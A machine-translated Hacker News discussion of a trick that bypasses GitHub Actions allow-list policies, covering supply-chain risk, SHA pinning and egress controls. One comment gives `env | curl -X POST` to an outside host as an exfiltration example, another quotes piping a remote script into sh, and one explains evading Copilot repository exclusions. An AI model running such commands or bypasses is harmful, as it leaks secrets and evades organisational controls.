Обход политик GitHub Actions самым глупым способом ( yossarian.net )
Это яркий пример того, что «если вы создадите непригодную для использования безопасную систему, пользователи превратят ее в небезопасную и пригодную для использования».
Если кто-то активно нарушает такой контроль, это, вероятно, означает, что контроль превратился из ограждения в бревно поперек путей.
Что-то в том же духе, что и AppLocker и т. д. Почти все говорят, что его следует использовать, но почти никто этого не делает, потому что требуется приложить огромные усилия, чтобы просто понять, что такое «приемлемое программное обеспечение» во всей вашей организации.
Никто за пределами сферы ИТ-безопасности не считает использование AppLocker разумной идеей.
Компании не имеют права указывать своим сотрудникам, какие конкретные программы они могут или не могут использовать для выполнения своей работы. Это абсурдный уровень микроменеджмента.
> Компании не имеют права указывать своим сотрудникам, какие конкретные программы они могут и не могут использовать для выполнения своей работы. Это абсурдный уровень микроменеджмента.
Обычно я выступаю за расширение прав и возможностей работников, но считаю, что иногда компании действительно имеют право заявлять об этом.
Одна из причин заключается в том, что большая часть индустрии программного обеспечения превратилась в безумный рай вторжений в личную жизнь (ИС), а также в грубую халатность в вопросах безопасности.
Другая причина заключается в том, что компания может быть привлечена к ответственности за условия лицензии на программное обеспечение.
Другая причина заключается в том, что компания может быть привлечена к ответственности за незаконное поведение программного обеспечения (например, если программное обеспечение нарушает какие-либо права интеллектуальной собственности другой стороны).
Каждая часть программного обеспечения может подвергнуть компанию этим рискам. И, возможно, непропорционально, если программное обеспечение внедряется сотрудником, который «сделает это!», а не тем, кто считает проверку на наличие рисков частью своей работы.
Разработчики будут писать код, который будет делать что-то для них, например, небольшие служебные программы для автоматизации работы. Каждая пользовательская программа — это потенциально совершенно новый двоичный файл, никогда ранее не отправленный программным обеспечением аудита безопасности. Должна ли очищаться каждая программа, написанная каждым разработчиком? Лучше ли в такой системе очистить интерпретатор, чтобы я мог использовать его для запуска любых нужных мне скриптов?
Это аргумент-чучело. Если разработчик пишет код, который делает что-то вредоносное, то это на разработчике. Если они устанавливают программу, то ответственность немного размыта. Частично это на разработчике, частично на безопасности (за то, что позволили непривилегированному пользователю делать вредоносные/опасные вещи, даже не зная об этом), и частично на ИТ (за то, что позволили несанкционированной программе работать без какой-либо проверки).
Любой, на кого Oracle подала в суд за неуплату лицензий на Java SE Runtime, считает, что это выдающаяся идея.
https://itwire.com/guest-articles/guest-opinion/is-an-oracle…
Специалисты по безопасности являются большими поклонниками белых списков приложений, и на то есть причина: ваши проблемы с вредоносным ПО практически исчезают, если вредоносное ПО изначально не может быть запущено.
Например, Управление радиотехнической разведки Австралии рекомендовало (а в последнее время и сделало обязательным) внесение приложений в белый список в правительственных системах на протяжении последних 15 лет, поскольку это предотвратило бы большинство расследованных ими вторжений.
https://nsarchive.gwu.edu/sites/default/files/documents/5014…
Такой уровень микроменеджмента может быть вполне разумным в зависимости от роли сотрудника. Он не нужен разработчикам, которые занимаются разработкой общего программного обеспечения без каких-либо конфиденциальных данных. Но если сотрудник, скажем, медсестра, просматривающая медицинские карты в страховой компании, то ему совершенно нет необходимости использовать что-либо, кроме определенных одобренных программ. Разрешение использовать случайное программное обеспечение значительно увеличивает потенциальную поверхность атаки и в худшем случае может привести к чему-то вроде проникновения вредоносного ПО и/или нарушению конфиденциальности HIPAA.
Подразумеваемое исправление «непригодной для использования безопасной системы» — это передача действия оформления заказа в вашу организацию и ссылка на него там.
Но это ведь не исправление, не так ли? Инструменты Git уже запущены. Вы можете извлекать код из публичных репозиториев с помощью cli, и вы можете жестко закодировать токен в рабочем процессе, если хотите получить доступ к частному репозиторию (предполагая, что у злонамеренного внутреннего пользователя нет прав администратора для добавления секрета).
Точно такие же мысли возникали у меня, когда я настраивал ряд рабочих процессов и скриптов, чтобы обойти многочисленные неоправданные и давние ограничения на то, что и когда разрешено делать.
Это гнетущее чувство, когда ищешь, как что-то сделать, а все главные результаты — это выпуски, которые были открыты более десяти лет назад…
Особенно мучительно пытаться использовать github, чтобы сделать что-то полезное, после того, как меня испортила работа исключительно с локально размещенного экземпляра gitlab. Я отказался от попыток заставить все правильно кэшироваться после нескольких попыток следовать их документации, не то чтобы я за это платил.
Также был очень удивлен, увидев, что рекомендуемая/предлагаемая конфигурация по умолчанию, которая запускает CodeQL, сожгла более 2600 минут действий всего за день неинтенсивного использования, почти вдвое превысив общее количество, которое у меня было за недели постоянного интенсивного использования. Кто за это платит??
На его выполнение ушло 1,8 дня времени за один день? Мне меньше интересно, кто за это платит, чем кто _использует _ его в вашем репозитории, потому что я даже не могу себе представить, чтобы в среднем почти два человека сканировали кодовую базу каждую минуту дня.
Не OP, а плохо работающий репозиторий может включиться и гореть по шесть часов на каждом PR, а не несколько минут, которые можно было бы ожидать. Это случается, но обычно такие вещи следует замечать и исправлять. Чаще всего что-то пытается вытащить артефакты и тайм-аут, а не является гигантским монорепозиторием.
Я сбит с толку, что нельзя клонировать внутренние/частные репозитории ничем, кроме PAT разработчика. У них есть пользовательский интерфейс для совместного доступа к рабочим процессам, пусть клонирование использует его…
Я использую для этого приложения GitHub, это громоздко, но работает.
Мы создали ответвление действий в виде подмодуля, а затем указали использование этого каталога.
Таким образом, мы продолжали отслеживать отдельные коммиты, которые мы одобрили как команда.
Теперь возникает интересная дихотомия. С одной стороны, PM хотят, чтобы мы использовали GitHub Actions для более быстрой разработки с использованием готовых блоков, но с другой стороны, у службы безопасности нет возможности или интереса вносить действия в белый список (не говоря уже о том, что белый список ограничен 100 действиями, согласно статье).
Тем не менее, даже маркировка действий GitHub с помощью sha256 не идеальна для действий контейнера, поскольку они могут ссылаться на тег, а содержимое этого тега может быть изменено: https://docs.github.com/en/actions/sharing-automations/creat…
Например, я публикую действие с кодом вроде
запуски: using: 'docker' image: 'docker://optionoft/actions-tool:v3.0.0' Вы используете действие и закрепляете его за SHA этого коммита.
Меня взломали, и хакер опубликовал новую версию optionoft/actions-tool:v3.0.0
Вы даже не получите PR-заявку на обновление Dependabot.
Может быть, в будущем появится функция Dependabot, которая будет создавать FYI-проблемы при изменении используемых тегов?
Честно говоря, я не понимаю риска.
Любой, кто может писать код в репозиторий, уже может делать что угодно в действиях GitHub. Эта мера безопасности никогда не была разработана для смягчения последствий от действий разработчика, делающего что-то вредоносное. Независимо от того, клонируют ли они другое действие в репозиторий или пишут собственные скрипты самостоятельно, я не вижу, как меры GitHub могут защитить от этого.
Риск достаточно прост. GitHub Enterprise позволяет администраторам настраивать список действий, которые можно разрешить или запретить. В идеале эти действия должны быть опубликованы в GitHub Marketplace.
Идея заключается в том, что организация не доверяет этим третьим лицам, поэтому она блокирует их доступ.
Однако это решение обходит эти списки, клонируя действия с открытым исходным кодом непосредственно в бегуне. В этот момент это просто запуск кода, ничем не отличающийся от того, если бы сопровождающие сами написали сложное действие.
В пост включено смягчение именно этого политического механизма.
(Дело не в непосредственно вредоносных внедрениях: это риск цепочки поставок в виде инженеров, внедряющих действия/повторно используемые рабочие процессы, которые сами по себе являются податливыми/изменяемыми/подверженными риску. Политика, которая заявляет о том, что делает это, должна на самом деле делать это или явно документировать свои ограничения.)
Я не проверял это, но основной возможный риск связан с созданием пользователями PR в публичных репозиториях с действиями, которые запускаются при запросе на извлечение.
Риск тот же, по какой мы не разрешаем ни одному из наших серверов устанавливать исходящие сетевые соединения, за исключением ограниченного списка хостов. Например, внутренние серверы могут взаимодействовать со шлюзом, очередью/базами данных и утвержденным списком доменов для API и ни с чем другим.
Тот же защитник помогает предотвратить несчастные случаи, а не злонамеренность и нарушения безопасности. Если код каким-то образом попадает в наши системы, но мы предотвращаем большинство исходящих соединений, эксфильтрация становится намного сложнее.
Да, люди делают обзор кода, но что-то проскальзывает. Посмотрите, например, как Google переключил одну из своих основных библиотек, которая делала mkdir с оболочкой, на запуск mkdir -p (тада! каждый вызов лучше понимает правила экранирования оболочки). Это прошло обзор кода. Люди несовершенны; сказать вашей сети нет исходящих соединений (за исключением этого небольшого списка) гораздо ближе к идеалу.
Вот почему я избегаю использования неофициальных действий, где это возможно, и всегда устанавливаю версию для действия.
У нас был подрядчик, который использовал какое-то случайное действие для ssh-файлов на сервере и ссылался на master как на версию для загрузки. Во-первых, ssh не так уж и сложен для загрузки файлов и запуска команд, но владелец действия мог легко добавить код для сохранения закрытых ключей и информации на другом сервере.
Я немного запутался в “обходе”. Разве злоумышленнику не нужен push-доступ к репозиторию для редактирования файла рабочего процесса? Итак, часть, которая нуждается в усилении, заключается в том, чтобы гарантировать, что не те люди не получат доступ к push-файлам в репозиторий?
В публичных репозиториях я мог бы увидеть проблему, если бы они делали это в разделе рабочего процесса, который запускается при создании PR. В частных репозиториях вам следует быть осторожными с тем, кому вы даете доступ.
> Вот почему я избегаю использования неофициальных действий, где это возможно, и всегда устанавливаю версию для действия.
Это хорошие практики. Я бы добавил, что закрепления версии (тега) недостаточно, как мы узнали из события tj-actions/changed-files. Нам следует закрепить коммит sha.[0]. Github также заявляет об этом в своей официальной документации [1]:
> Закрепить действия в полной длине коммита SHA
> Прикрепляйте действия к тегу только в том случае, если вы доверяете создателю
[0] https://www.stepsecurity.io/blog/harden-runner-detection-tj-…
[1] https://docs.github.com/en/actions/security-for-github-actio…
> Я немного запутался в “обходе”. Разве злоумышленнику не нужен push-доступ к репозиторию для редактирования файла рабочего процесса? Так что часть, которую нужно укрепить, заключается в том, чтобы гарантировать, что не те люди не получат доступ к push-файлам в репозиторий?
Я тоже так понимаю. Но: наличие общекорпоративных политик (относительно действий) может быть неправильно понято/использовано как мера безопасности компании против злонамеренных/небрежных разработчиков.
Таким образом, документирование или выделение поведения помогает ребятам из DevOps избежать ложного чувства безопасности. Не более того.
Честно говоря, это не кажется чем-то большим.
Моя главная проблема с политикой и тем, как она реализуется на моей работе, заключается в том, что те, кто устанавливает политику, не являются теми, на кого она влияет, и никогда не консультируются с теми, на кого она влияет. Наша команда по безопасности сообщает нашей команде администраторов GitHub, что мы не можем использовать действия третьих лиц.
Наша команда администраторов GitHub говорит, конечно, звучит хорошо. Им все равно, потому что они не используют действия, и они, по сути, вообще ничего не доставляют. Команда безопасности тоже ничего не доставляет, так что им все равно. В совокупности эти команды добились главного успеха — купили GitHub Enterprise и переместили его туда-сюда между облаком и локальной средой 3 раза за последние 7 лет.
Как разработчик, я читаю действие, которое хочу использовать, и если оно выглядит хорошо, я просто клонирую код и загружаю его в наш собственный org/repo. Я уже выполняю миллион модулей npm в том же контексте, которые делают бог знает что. Если кто-то жалуется, то это те же инструменты статического/динамического анализа, что и остальной код и зависимости.
Похоже, что чтение кода и его разветвление (что предотвращает вредоносные обновления) полностью удовлетворяет цели политики.
У моей компании есть похожий белый список действий, со списком сторонних действий, которые были оценены и отклонены. Многие из отклоненных вещей, похоже, являются своего рода помощниками для выпуска, которые, по сути, содержат общее предложение использовать `gh` CLI уже на бегунах.
Мне кажется, что предложение GitHub CI/CD сейчас слишком “все включено”. Как только мы достигнем точки, где инструмент SCM станет надмножеством AWS около 2010 года, нам, вероятно, нужно будет сделать шаг назад и рассмотреть альтернативы.
Более идеальным подходом могло бы стать предоставление простого REST API или веб-хука, который позволит владельцу репозитория интегрировать внешние инструменты, которые лучше подходят для обеспечения проверок статуса.
Я бы предпочел написать CI/CD-инструментарий на чем-то вроде python или C#, чем возиться с файлами yaml и странными общими библиотеками действий. Вы можете достичь чего-то приблизительного этого прямо сейчас, но вам придется делать это в какой-то степени с помощью GH Actions.
PR едва ли чувствительны к задержке, поэтому опрос REST API каждые 60 секунд кажется мне приемлемым. По сути, это то, что мы делали с Jenkins, за исключением того, что мы просто опрашивали заголовок репозитория вместо какого-то странного API.
> Более идеальным подходом могло бы стать предоставление простого REST API или веб-хука, который позволит владельцу репозитория интегрировать внешние инструменты, которые лучше подходят для обеспечения проверок статуса.
Это… существует уже много лет? https://docs.github.com/en/rest?apiVersion=2022-11-28
Это было единственное, что было доступно до действий github. Это было также единственное, что было доступно, если вы хотели реализовать принцип не ракетостроения до очередей слияния.
Хотя трудно превзойти free, особенно в плане поддержки OSS.
А GHA обеспечивает параллелизм, для которого вам пришлось бы поддерживать оркестратор (или полностью индивидуальное решение), просто создайте несколько заданий или рабочих процессов.
И вам не нужно иметь дело с токенами для отправки статусов. И вы получаете все логи и отзывы в интерфейсе git, вместо того, чтобы снова приносить свои. И вы можете фактически помечать PR как объединенные, когда вы их перебазируете или склеите (запрос на функцию, который сейчас в средней школе: https://github.com/isaacs/github/issues/2 )
> PR практически не чувствительны к задержкам, поэтому опрос REST API каждые 60 секунд кажется мне приемлемым.
Нет ничего для опроса: https://docs.github.com/en/webhooks/types-of-webhooks
GitHub имеет как вебхуки, так и обширный API. То, что вы описываете, вполне осуществимо, насколько я знаю, для этого не требуется GitHub Actions.
Большинство людей выбирают его из-за удобства. Существует баланс, который вы можете найти между всеми yaml и общими действиями, а также запуском собственных скриптов.
Я вообще не понимаю популярности GitHub… У вас есть git как совместимый “протокол” управления версиями, а затем вы добавляете сюда фирменные функции выпуска, PR, CI и управления проектами, которые нельзя взять с собой при миграции? На этом этапе какой вообще смысл в том, чтобы все это было построено на git? Кроме того, несмотря на все, что есть хорошего в git, я не думаю, что это лучшая система управления версиями, которая у нас могла бы быть. Хотелось бы, чтобы мы серьезно переизобрели колесо.
Я не вижу здесь проблемы безопасности. Произвольное выполнение кода приводит к произвольному выполнению кода?
Похоже, что невозможно обеспечить соблюдение общей политики в отношении того, что может быть выполнено, поэтому единственным выходом является ограничение секретного доступа.
Есть ли демонстрация возможности доступа/украсть какие-либо секреты?
> Кажется, что политику невозможно реализовать
Автор имеет в виду именно это: «неэффективные механизмы политики хуже, чем отсутствие механизмов политики, потому что они обеспечивают все ощущение безопасности посредством соблюдения, фактически стимулируя злонамеренные формы соблюдения».
И я полностью согласен. Этого так много. «Да, мы соблюдаем все требования по надежным паролям, строго говоря, есть один надежный пароль для каждого отдельного пользователя-администратора для всех сервисов, которые мы используем, но его нет в контрольном списке, верно?»
Это не столько «используйте это, чтобы сделать что-то неприятное кучке ничего не подозревающих жертв», сколько «люди могут обойти ваши политики, когда вам на самом деле нужны политики, ограничивающие ваших пользователей».
1. Центральный ИТ-отдел BigEnterpriseOrg отметьте флажками поля, чтобы отключить внешние действия, поскольку соответствие требованиям
2. BigBrainedDeveloper хочет использовать ExternalAction, поэтому использует метод, описанный в посте, потому что у него большой мозг.
3. BigEnterpriseOrg больше не соответствует
Вот почему чья-то точка зрения “вы должны разветвлять действие в свою организацию” является решением, если отключение локального `uses:` добавлено как опция в флажки – центральный ИТ-отдел будет видеть, что используется и кем, если BigBrainedDeveloper может запросить, чтобы ExternalAction был разветвлен в организацию BigEnterpriseOrg GH. Участие центрального ИТ-отдела теперь заключается только в проверке кодовой базы, ее разветвлении, поддержке обновлений.
ПРИМЕЧАНИЕ: Это не панацея от всех вещей, которые противоречат
—-
[0]: или что-то в этом роде, я не знаю, есть много причин, по которым корпоративные ИТ-отделы делают вещи, которые расстраивают внутренних разработчиков
[1]: Верный способ разозлить каждого из ваших внутренних разработчиков.
Запустите конвейеры интеграции данных с помощью действий Github –
https://dlthub.com/docs/walkthroughs/deploy-a-pipeline/deplo…
Для многих стартапов это самый простой способ заставить людей бесплатно опробовать ваше программное обеспечение.
То, что политику можно «обойти» путем изменения кода, не кажется таким уж серьезным. Если вы не просматриваете изменения в рабочих процессах CI/CD, вся надежда потеряна. Ваш код может быть украден, секреты украдены и т. д.
Суть поста в том, что обзор на практике бывает разным: если вы крупная организация, вам следует просматривать сам код на предмет изменений, но я подозреваю, что многие организации не отслеживают каждое действие (и каждую версию каждого действия), введенное в изменения CI/CD. Вот для чего полезны политики, и почему обходы потенциально опасны.
Или вот интуитивно понятная формулировка: если вы понимаете ценность политик защиты ветвей и передачи секретных данных для помощи вашим младшим инженерам, то же самое относится и к вашим политикам CI/CD.
Проблема не связана с отслеживанием каждого действия или версии в изменениях CI/CD. Прямо сейчас вы можете просто закрутить двоичный файл и запустить его. Чем это отличается от эксплойта здесь? Я полагаю, что у людей могло быть ложное чувство безопасности, если они реализовали эти политики, но я бы предположил, что эти люди на самом деле не понимали свою систему CI/CD, если они думали, что эти политики сами по себе предотвратят выполнение произвольного кода.
Я думаю, это разница в категории; вытаскивание случайных двоичных файлов из Интернета, очевидно, нехорошо, но эмпирически это в основном делается точечно. Действия же вытаскиваются из “рынка”, подвергаются автоматическим обновлениям через такие вещи, как Dependanbot и Renovate, могут быть молча переписаны благодаря изменчивости тегов и т. д.
Очевидно, что в идеальном мире бегуны были бы герметичны. Но я думаю, что наличие других источников негерметичности не оправдывает плохо реализованную функцию политики со стороны GitHub.
«Мы разрешаем только действия, опубликованные нашей организацией, и повторно используемые рабочие процессы»
и
«Мы разрешаем только действия, опубликованные нашей организацией, и повторно используемые рабочие процессы ИЛИ те, которые вручную загружены из внешнего источника»
очень разные политики
Но ведь нет политики, запрещающей внешние загрузки в целом, не так ли? Я могу также закрутить случайный скрипт с вредоносного сайта.
Это не просто вопрос обзора; в зависимости от ваших настроек эти обходы могут быть запущены еще до того, как кто-либо увидит изменения, если ваша CI срабатывает при отправке или создании PR.
`pull_request_target` (имеющий доступ к секретам) запускается в контексте целевой ветки, поэтому любой вредоносный рабочий процесс должен быть уже зафиксирован.
На GitHub есть страница по этому поводу:
https://securitylab.github.com/resources/github-actions-prev…
Но разве нельзя просто написать вредоносные вещи прямо в самом действии?
Вы определенно могли бы, но это более тонко. Вы действительно не хотите, чтобы вас видели выполняющим `env | curl -X POST http://myserver.cn ` в репозитории компании. Но использование действия с правильным названием не выглядит слишком подозрительным.
Вы называете это проблемой безопасности. Я называю это моим единственным выходом, когда чертовы тиранические администраторы GitHub Org блокируют его так жестко, что я не могу выполнять свою работу.
(да, это проблема безопасности (так как она нарушает политику безопасности), но я надеюсь, что она останется неисправленной, потому что это глупая политика)
Нет никакого разумного способа обойти это. Запретить их в ключах `uses:`? Ладно, они просто помещают это в скрипт bash и запускают его. И т. д. и т. п. Если это позволяет запускать произвольный код, это всегда будет существовать
Вы не только можете вручную проверить определенный репозиторий, но если у вас есть подмодули и вы делаете рекурсивную проверку, вы также можете вытащить другие кошмары безопасности из мест, которые вы никогда не ожидали. Это была бы сложная атака, чтобы провернуть, цепочка скомпрометированных рабочих процессов хаха
> самый глупый в мире обход политики: вместо того, чтобы использовать uses: actions/checkout@v4, пользователь может клонировать (или иным образом извлечь) репозиторий actions/checkout в файловую систему исполнителя, а затем использовать uses: ./path/to/checkout для запуска того же самого действия
Боже мой.
Это все равно, что сказать: «Вместо того, чтобы выполнять `apt-get install <ПАКЕТ>`, можно обойти политики apt, загрузив пакет и запустив `dpkg -i <ПАКЕТ>`.
Я думаю, что существенное отличие заключается в том, что политики apt применяются к apt, и GitHub прилагает все усилия, чтобы документировать политики действий GitHub, применяемые к предложениям `uses:` в целом.
(Но также: в структурном смысле, если система имеет «подходящие» политики, которые предназначены для предотвращения появления зависимости, то такая система должна предотвращать такой обход. Это не означает, что обход — вопрос жизни и смерти, но это вопрос гигиены и предотвращения неправильного использования.)
> который GitHub использует для документирования политик GitHub Actions, применяемых к предложениям `uses:`
Если бы это было сформулировано так, то вы были бы правы. Документация дала бы ложное чувство безопасности, была бы вводящей в заблуждение. Поэтому я пошел проверить, но не нашел такого утверждения в связанных документах (пожалуйста, дайте мне знать, если я его пропустил) [0]
Поэтому я согласен с комментатором выше (и Github), что «редактирование действия github для добавления шагов по загрузке скрипта и его запуску» не является фундаментальным недостатком этой системы, разработанной именно для этого — для запуска команд в соответствии с указаниями пользователя.
В целом мы всегда должны спрашивать себя: какова здесь модель угрозы? Если кто угодно может редактировать Github Action, то мы можем заставить его делать много вещей, и этот переключатель фильтра “Github Action Policy” – последнее, о чем мы беспокоимся. Единственный способ сделать конвейер CI/CD безопасным (тем более, что часть CD обычно имеет доступ к внешнему миру) – это запретить людям редактировать и запускать в нем все, что они хотят. Это означает запретить пользователям доступ к самому репозиторию в случае Github Actions.
[0] https://blog.yossarian.net/2025/06/11/github-actions-policie…
Это отсюда[1].
Я полагаю, что здесь есть место для интерпретации, но я думаю, что интуитивное сканирование “Разрешить запускать выбранные действия и повторно используемые рабочие процессы” показывает, что контрапозитив (“не разрешенные действия и повторно используемые рабочие процессы не будут запускаться”) также имеет место. Трюк в посте нарушает этот контрапозитив.
Я думаю, что люди действительно зацикливаются на части выполнения кода, что на самом деле не так уж важно. Дело в том, что политика должна быть всеобъемлющей, чтобы иметь предполагаемый эффект, который в случае GitHub Actions, по-видимому, заключается в том, чтобы позволить крупным организациям/компаниям инвентаризировать свои зависимости CI/CD и принимать глобально согласованные, проверяемые решения по ним.
Или, другими словами: суть здесь та же, что и у компаний, которые используют свои собственные частные индексы NPM, PyPI и т. д. — суть не в том, чтобы помешать младшим инженерам вставлять некачественные зависимости, а в том, чтобы знать , когда они это делают, чтобы исправление стало вопросом политики, а не «найти везде, где мы зависим от этого компонента». Обход этой политики означает, что происходит худшее из обоих миров: у вас есть некачественная зависимость , а политическое видение мира не верит, что это так.
[1]: https://docs.github.com/en/repositories/managing-your-reposi…
Кроме того, вы можете раскрыть любые секреты, подключившись к внешним сервисам через Интернет и просто отправив им секреты.
Вы также можете вывести их на консоль в четверном коде base64 в обратном порядке, фокус в том, чтобы это сошло с рук.
Во многих корпоративных системах непрерывной интеграции это невозможно, поскольку они часто имеют герметичные среды сборки.
Ничто так не заставляет меня хотеть отказаться от программного обеспечения, как корпоративные системы непрерывной интеграции.
Я думаю, что GitHub прав, что сам по себе обход не является уязвимостью, но, как и небольшая подсказка на кнопке GitHub «Создать секретный gist», GitHub мог бы лучше прояснить ситуацию в разделе «Разрешения на действия».
Если ваши специалисты по безопасности пытаются возвести стену вокруг предприятия (не допустить использования того, что намеренно не было отражено), но при этом отсутствуют средства сетевого контроля — нет брандмауэров на основе IP-адресов, нет брандмауэров DNS, нет брандмауэров уровня 7 (вроде AWS VPC Endpoint Policy или GCP VPC Service Controls), регулирующих доступ к хранилищу объектов и т. п…. Честно говоря, реализация либо незрелая, либо некомпетентная.
Если вы работаете в организации с ограничительной политикой, но не с ограничительным сетевым контролем, любой на работе может поднять VPS за 5 долларов и сломать сетевой контроль. Или Raspberry Pi дома и DynDNS. Или миллион других.
Не будьте глупцами и не думайте, что наличие единственного элемента управления безопасностью означает, что вам не нужно организовывать глубокую оборону.
Кто-нибудь знает, как запросить, какие действия были импортированы из Actions Marketplace (или откуда-либо еще) в Github Enterprise? Я лениво изучал это некоторое время и не могу найти прямого ответа.
Исключения репозитория Copilot — еще один забавный элемент управления от GitHub. Он получает контекст локального репозитория из URL-адреса удаленного источника .git/config. Просто закомментируйте это, и вы сможете использовать copilot в «исключенном» репозитории. Удалите комментарий, чтобы отправить свои изменения. Очень похожий на бумажный элемент управления.
Мда. Выполнение произвольного кода позволяет вам выполнять произвольный код. Если вы curl | sh что-то в вашем скрипте действия github, то это тоже «обойдет политику».
[отмечено]
Действие, о котором идет речь, не находится в репозитории; оно извлекается во время выполнения бегуна. Я думаю, что это важное различие.
Это как положить
curl -sSL https://example.com/install.sh | sh
В ваших действиях. Конечно, случается.
Да; я бы тоже посчитал это плохой идеей. Два зла не делают одного добра (и другое зло не оправдывает нарушенную политику в другом месте).
Возможность фильтровать или отключать сетевой доступ (помимо того, что GitHub требует со своей стороны для взаимодействия с действиями) определенно была бы полезна, но насколько мне известно, это опция только для самостоятельных исполнителей и корпоративных учетных записей.
Да, я полностью согласен. Жаль, что самостоятельно размещенных бегунов так трудно обезопасить, поскольку контролируемый вход/выход в противном случае является чрезвычайно сильной мотивацией для их использования.
[отмечено]
Из множества вещей, в которых меня обвиняют, новым является неосведомленность о передовых практиках GitHub Actions.
(CODEOWNERS — это отвлекающий маневр: GitHub явно намерен использовать этот механизм политики, и поэтому он должен быть надежным. Механизмы политики всегда должны быть надежными, даже если есть лучший или более общий альтернативный механизм. Если GitHub намерен сделать CODEOWNERS таким механизмом, то они должны удалить этот механизм и задокументировать его замену.)
Честно говоря, я думаю, что ваша статья фокусируется на устаревшей или неактуальной настройке в GitHub. Так что ложный след, вероятно, здесь обратный. Их куча (не заставляйте меня начинать о темах и управлении ими для многих репозиториев), но GitHub явно продвигал наборы правил в течение последних лет, и в сочетании с CODEOWNERS это фактический способ детализации управления тем, кто может вносить изменения в рабочие процессы GA.
В отличие от других вещей, которые были перемещены в наборы правил, на этих политиках нет заметного маркера, указывающего на то, что они устарели или больше не считаются лучшей практикой. Есть ли у вас какое-либо публичное указание на то, что они каким-либо образом не приветствуются?
(Как уже отмечалось, это не обязательно имеет смысл в случае с CODEOWNERS — смысл политики зависимости заключается в том, чтобы вообще не доверять человеческим личностям.)
CODEOWNERS только для основной ветки AFAIK. Вы можете запустить действие github в коммитах.
CODEOWNERS в сочетании с правилами защиты ветвей могут потребовать проверки произвольных ветвей, соответствующих шаблону glob.
Я склонен добавить https://github.com/marketplace/actions/sync-to-gitlab во все мои репозитории на GitHub, чтобы иметь возможность воспользоваться социальной ценностью сообщества GitHub и технической ценностью всего остального GitLab.
Source: news.ycombinator.com